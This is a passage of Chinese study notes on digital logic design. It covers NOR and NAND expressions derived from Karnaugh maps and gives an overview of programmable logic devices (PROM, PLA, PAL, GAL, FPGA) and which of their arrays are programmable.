上述卡诺图对应的或非表达式就为：$\overline{\overline {\overline C + \overline D}+\overline {\overline A + \overline B}+\overline {\overline A + C}}$

4. 不含反变量的与非表达式

如果与非表达式中可以有反变量，则不会产生嵌套，否则可能需要进行嵌套。

我们直接分析例子，一边分析一边总结规律。

例4

卡诺图同例1。

设表达式为$\overline X$，其中$X$是一系列与非表达式的与。则$X$表示的是图中所有0的部分。所有的与非项都应包含所有0部分。
其中，$\overline {AD}$和$\overline {CD}$仍然可用，这与例2相同，但例2中的$\overline {B * \overline C * D}$不再可用，我们必须将内部的$\overline C$换掉。方法很简单，将$\overline {C}$改成$\overline {B*C*D}$即可。在具体设计电路的情景下，这里的$\overline {B*C*D}$也可以改成$\overline {B*C}$或$\overline {C*D}$，看如何修改使逻辑门电路的输出结果得到最大限度的复用。

因此，如果我们想要获得不含反变量的与非表达式，只需要将原来的反变量下添加与其相乘的正变量即可，且是否添加均可选，但不能都不选。

但是不难发现，上述方法产生的表达式至多只有两层嵌套，能否利用多层嵌套实现功能呢？

5. 高阶与非表达式探究（慎用！）
   对于含有4个变量的形如$\overline{\overline{\overline {AB}C}D}$（3个与非门）的与非表达式（$A\ne B$），其需要3个与非门完成，等价于$\overline{\overline CD+ABD}$（4个与非门），使用代换规则可以在卡诺图中构造出类似于这样的很多表达式。当四个变量均不相同时，卡诺图中0的个数应为5。从与非表达式转换为与或表达式不如从与或表达式转换为与非表达式有用。如果题中明确采用与非表达式且要求使用的门电路最少，不妨可以考虑这种高阶与非表达式，有利于构造不规则卡诺图形状。观察到其转化后的与非项两项都有$D$，因此反带时可以将非反变量的共同项看成是$D$。但要注意，在$\overline C$和$AB$的选择上，有时两项除共同项外无法直接配出这两项，这时不适合使用高阶表达式，直接采用第四点中的表达式即可。

8.1 PLD

8.1.1 PLD基本结构

PLD阵列由一个与阵列和一个或阵列构成，与阵列输出为输入的与-或函数，每个与门的输出产生某些输入变量的与项作为或阵列的输入。每个或门的输出端产生输入变量的与或表达式
4种主要类型：

• 可编程只读存储器PROM
• 可编程逻辑阵列PLA
• 可编程阵列逻辑PAL
• 通用阵列逻辑GAL

8.2 低密度可编程逻辑器件

8.2.1 可编程只读存储器PROM

半导体存储器按功能分类：随机存放存储器RAM，只读存储器ROM

PROM逻辑结构：主要由地址译码器和存储器两部分组成
由一个固定连接的与阵列和一个可编程连接的或阵列构成

分类：

• 一次编程ROM（PROM）：所有存储元均被加工成同一状态，用户可以通过编程将某些存储元的状态改变为另一状态，这种编程只能执行一次，编程完毕之后不能再改变。
• 可抹可编程（EPROM）：可以通过用户专用的紫外线灯照射受光窗口使原存储内容抹去，只能整体擦除。
• 电可抹可编程（EEPROM）：擦除速度快，允许改写次数远高于EPROM
• 快闪存储器（Flash Mem）

8.2.2 可编程逻辑阵列PLA

与阵列和或阵列均可编程。

8.2.3 可编程阵列逻辑PAL

与阵列可编程，或阵列固定。

8.2.4 通用逻辑阵列GAL

与PAL相同，与阵列可编程而或阵列固定，但在输出端集成有输出宏单元（OLMC），允许用户定义每个输出的结构和功能。

8.3 高密度可编程逻辑器件

8.3.1 现场可编程门阵列

FPGA

8.4 在系统编程技术简介

8.4.1 ISP

8.4.2 ISP逻辑器件

归纳：
可编程的部分有：

• PROM的或门阵列
• PLA的与/或门阵列
• PAL的与门阵列
• GAL的与门阵列

不可编程的部分有：

• PROM的与门阵列
• PAL的或门阵列
• GAL的或门阵列